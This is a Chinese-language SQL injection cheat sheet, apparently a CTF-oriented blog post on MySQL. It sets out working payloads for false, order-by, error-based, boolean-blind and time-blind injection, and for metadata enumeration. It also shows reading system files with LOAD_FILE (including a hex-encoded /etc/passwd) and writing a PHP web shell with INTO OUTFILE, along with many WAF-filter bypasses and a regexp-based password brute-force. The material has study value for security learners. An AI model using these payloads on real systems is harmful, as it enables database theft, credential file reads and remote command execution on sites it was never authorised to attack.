[TOC]

sql常见运算符,注释符。

众所周知sql存在注入的本质是在代码层面sql语句存在拼接,过滤不严谨等,用户可以通过控制sql语句从而达到注入的目的。在进行sql总结时先总结下常见的sql符号。

注释符
1
2
3
4
5
6
单行注释
#
--
多行注释
/*...*/

算数运算符
1
2
3
4
5
6
算术运算符
+(加)
-(减)
*(乘)
/(除)
%(取模)
比较运算符
1
2
3
4
5
6
7
=(等于)
>(大于)
<(小于)
<>(不等于)
>=(大于等于)
<=(小于等于)
!=(不等于)
逻辑运算符
1
2
3
AND(两边为真返回真)
OR(两边为假返回假)
NOT(对布尔表达式值取反)

False注入

为何叫False注入呢,是因为mysql存在隐式类型转换。抛开官方文档各种复杂的解释。最简单的就是mysql在进行比较运算的时候,如果将字符串与数字进行比较,就会将字符串进行类型进行转换,而这个转换会失败从而转为false。

举个栗子。

现在有个sql语句:select ‘a’ = false;

这个sql语句执行的时候’a’已经被转换为了false,所以’a’=false这个表达式成立返回真(1),所以表格里面的值为1。

而false又等于0,所以select ‘a’ = false等价于select ‘a’ = 0

有什么用呢?这里是select进行演示,而当我们用上where限定字段时,where A= B这个时候只要A是一个字符串,我们让B等于或者false,那么where条件就会恒成立。

举个栗子,现在有一个personinfo数据库如下:

我执行一个查询语句:select * from personinfo where pname = 0;

按理来说pname=0不存在的,而我们这pname为字符串,发生转换,转换失败变为false,false=0,条件成立。

值得注意的是,如果是以数字开头的字段进行转换,那么就会截取到数字结束的地方在进行转换,转换是成功的,结果是对应数字,所以应该使用无数字开头的字段进行False注入。

一些绕过姿势:

False注入的核心便是凑出’0’,想要凑出0有很多的方法,下面列举几个

1
2
3
^:异或两个字符串会变为0 eg:'a'^'b'=0
+,-,*:对两个字符串进行+,-,*操作会变为0 eg:'a'+'b'=0

order by 注入

结合union进行盲注
1
select * from user where username = ''

这是一条sql语句,执行用户名查询的。如果我们对其进行改造为

1
select * from user where username = '' or 1 union select 'a',2,3,4,5;

可以看到select * from user where username = ‘’ or 1和select ‘a’,2,3,4,5的查询结果被整合起来了,’a’,2,3,4,5成为了新的数据存在了结果集中。

如果我们在后面加上orderby:

1
select * from user where username = '' or 1 union select 'a',2,3,4,5 order by 1;

这里的1指的是第一列,按照第一列进行排序。

结果如下:

可以看到如果我们指定的列名’a’如果大于Admin便会直接被顶到前面去,可以控制列名来控制结果集。

结合if进行盲注:
1
2
3
4
5
order by if(1=1,1,sleep(1))

select * from user order by if(1=1,1,sleep(1));

select * from user order by if(1=2,1,sleep(1));

可以看到第二次查询用了4秒,因为sleep(1)是根据数据条数来的,4条数据就会sleep4秒。

Mysql文件读取

在mysql中存在一个全局变量secure_file_priv,该变量用于控制数据的导入导出。例如LOAD_FILE(),SELECT ….. INTO OUTFILE

如果该变量为NULL就不可使用了。

在mysql<5.5.53之前的版本可以使用

可以看到我的mysql版本是不能使用的。

读文件方法:

1
2
3
读文件函数LOAD_FILE()
SELECT LOAD_FILE('/flag');
SELECT LOAD_FILE(0x2F6574632F706173737764);

注:LOAD_FILE默认目录为datadir

文件须有可读权限

读取文件最大字节保存在max_allowed_packet变量中

文件写入

1
2
3
4
5
6
7
INTO OUTFILE/DUMPFILE
SELECT '<? system($_GET['c']); ?>' INTO OUTFILE '/var/www/shell.php';

这两个函数都可以写文件,但是有很大的差别

INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择

正则绕过

报错注入:

floor报错

payload:

1
select count(*),concat(0x3a,version(),0x3a,floor(rand(0)*2))a from information_schema.tables group by a;

floor报错关键在于count(),floor(),rand().其中floor(rand(0)2)是报错的关键,因为count()会创建一个虚拟表,而floor(rand(0)\2)的值是0,多次查询后值仍然是0,无法被聚合到count(*)中,所以引发报错,0x3a在这里是”:”。

UpdateXml报错注入
1
select updatexml(0,concat(0x7e,(select database())),0);

updatexml函数的作用是改变文档个节点中的值。

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

这里报错的原理是使用concat讲updatexml第二个参数链接为一个字符串,使其不符合xmlstring格式的字符串,这里的0x7e是”“,xpath格式不允许开头,所以会爆出数据。

extractvalue报错注入
1
select extractvalue(1,concat(0x7e,(select database())));

extractvalue():从目标XML中返回包含所查询值的字符串。

EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)

原理和UpdateXml类似,一样的是使用concat使得字符串不符合xpath格式,从而报错。

使用元数据库查询爆表名

数据库:information_schema

根据以上任意一个注入方法便可以进行注入了,只需要在回显出的语句换成我们的爆表名语句即可、

informaion_schema这个数据库里面SCHEMATA表保存了mysql里面存的所有数据库。

TABLES表保存了所有表名以及每个表所对应的数据库,下面是TABLES表的表结构。

TABLE_SCHEMA是数据库名,TABLE_NAME为表名。

所以查询user表中的所有表,就应:

1
select TABLE_SCHEMA,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = 'user';
数据库:sys

在MYSQL5.7的版本中,sys数据库里保存了很多信息。其中statement_analysis表中的query字段保存了执行过的sql语句。

1
select query from sys.statement_analysis;

我们还可以通过查询sys数据库中的视图来爆出库的所有表名。

常用视图有:

sys.schema_table_statistics_with_buffer

sys.x$schema_table_statistics_with_buffer

sys.x$schema_table_statistics

sys.x$ps_schema_table_statistics_io

视图可以爆出表明,因为以上视图都拥有如下相似结构,他们都拥有table_schema字段和table_name字段,这两个字段可以直接查询出当前数据库中的所有表名。

1
2
3
select table_name from '视图' where table_schema='数据库名';
eg:
select table_name from sys.schema_table_statistics_with_buffer where table_schema='luntan';
数据库mysql

mysql默认存储引擎innoDB携带的表也保存了一些数据库和表名的关系

mysql.innodb_table_stats

mysql.innodb_index_stats

这两个表均含有database_name和table_name字段:

构造查询语句:

1
2
select table_name from '目标表' where database_name='数据库名'
select database_name,table_name from mysql.innodb_index_stats where database_name='invite_code';

bool盲注:

来分析以下这样一个sql语句

1
2
3
4
5
6
7
8
9
10
SELECT * FROM users where id = '1' and ascii(substr((SELECT database()),1,1)) = 120;
拆解如下:
SELECT * FROM users where id = '1' and
ascii()
substr(select database,1,1)
要求:查询语句成立时与不成立时页面不同。
ascii()返回字符的ascii码
substr()按照参数截取字符串
这里就很明显能看出来了,and左边是成立的,现在只要根据页面的变化就可以判断and右边是返回真还是返回假。
ascii(substr((SELECT database()),1,1))取到数据库名的第一位字符,将他与一个ascii字符编码进行比较,若成立可以返回真。可以据此规律来进行爆破求出第一位字符的ascii码。以此类推。

多行数据需要使用group_concat进行聚合为一行不然无法显示。

时间盲注:

时间盲注用到的函数和bool盲注类似,但是bool盲注是通过查询语句返回真or假进而导致页面显示不同的获取信息。而时间盲注是通过一些延时函数通过页面请求时间来判断sql语句执行成功或失败的。

常见延时方法:
1
2
3
sleep(1):延时1秒
benchmark(1000,select * from admin):通过增加查询次数来增大计算量达到延迟
SELECT count(*) FROM information_schema.columns A, information_schema.columns B;通过计算笛卡尔积来打到延时效果
1
1' and if(ascii(substr((SELECT database()),1,1)) > 1,sleep(2),1)--+

利用此可以进行盲注

无列名注数据

sql语句分析:
1
select 1,2,3,4,5 union select * from user;

此时我的user表里面有5个字段,我现在不知道他的列名,但可以构造列名进行显示。

可以看到现在我们查询出来的表,列名变成了1,2,3,4,5。绕过了列名进行注入。

取出数据
1
2
select `1` from (select 1,2,3,4,5 union select * from user) as a1
这里的1就是我们新的表字段1的数据。

聚合以方便查询:

1
select group_concat(`1`) from (select 1,2,3,4,5 union select * from user) as a1

常见绕过姿势

编码绕过

16进制绕过,绕过前:

1
select * from user where username = "Admin";

假如WAF拦截了Admin,我们可以将Admin换为他对应的16进制进行绕过

1
select * from user where username = 0x41646D696E;

注:此方法不可绕过字段名,只能在where后面使用

url二次编码

url二次编码需要后端urldecode()函数进行url解码,如下图片很好的展示了这个过程。

<>绕过

需要网页后端过滤了<>

1
uni<>on sel<>ect
注释符绕过
1
uni/**/on se/**/lect
空格绕过
1
2
3
4
5
6
7
/**/
%20 %09 %00
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
绕过or/and
1
2
and = &&
or = ||
等号=绕过

=可以等于like,可以使用like来绕过;1 or 1 like 1

rlike和like类似;1 or 1 rlike 1

regexp:执行正则表达式匹配;1 or 1 regexp 1

<>等价于!=,那么在<>前面加个!再次取反就是=了 1 or 1 !(<>)1

单引号绕过

过滤单引号时,宽字符绕过

1
%bf%27  %df%27  %aa%27

也可以使用16进制绕过,进行查询时16进制不需要使用单引号引起来

逗号绕过

在盲注中常使用substr(“string”,1,3)来截取字符串,那么当,被过滤的时候,可以使用substr(“string” from 1 for 3);

offset关键字:

offset关键字用于绕过limit中使用的,

这两行代码是等价的

select * from user limit 3 offt 0; 等价于 select * from user limit 0,3;

利用join无列名注入,爆列名。

爆列名:基本payload

1
2
3
4
select * from user where id = 1 union select * from(select * from user as a join user as b)as c #爆出第一个列名
select * from user where id = 1 union select * from(select * from user as a join user as b using('列名1'))as c #爆出第二个列名
select * from user where id = 1 union select * from(select * from user as a join user as b using('列名1','列名2'))as c #爆出第三个列名
循环往复直到爆出所有。

payload分解:

1
select * from user as a join user as b

这个吧一个了两个user表合起来成为了一个user表,取别名的作用是表名时不能重复的,不然会触发报错。

1
select * from(select * from user as a join user as b)as c

前面我们已经将两个表和在一起了,现在在进行查询的时候会因为表中存在相同列名而报错从而爆出列名。

这个时候我们用上using字段忽略重复列名,而未被忽略的就是第二列的列名。轮回往复爆出所有列名。

regexp正则盲注

所有的盲注无一例外都离不开”猜”,bool盲注靠比较运算符是否成立来猜,时间盲注靠是否延时来猜,而regexp盲注则靠regexp匹配是否成功来猜。

payload:

1
2
select * from user where username regexp BINARY "^A";
获取username为大写A开头的行,BINARY字段对大小写敏感,在mysql中regexp默认是对大小写不敏感的。

有了这个理论基础,就可以通过轮回爆破用户名密码,但是前提是得知道用户名

1
2
select * from user where username = 'admin' or passwd regexp BINARY "^A";
这里的passwd是对应的password字段名,简单分析可根据次sql语句满足或者不满足判断导致的web页面变化来爆破密码。
REGEXP可以通过组合绕过各种过滤

payload:

1
2
3
4
5
6
7
8
select * from user where username = 'admin' or passwd regexp BINARY "^A";
由于核心payload为or passwd regexp BINARY "^A"
针对此进行常见绕过
or:||
空格:/**/
"^A"16进制绕过引号:0X5E41
绕过后:
||/**/passwd/**/regexp/**/BINARY/**/0X5E41;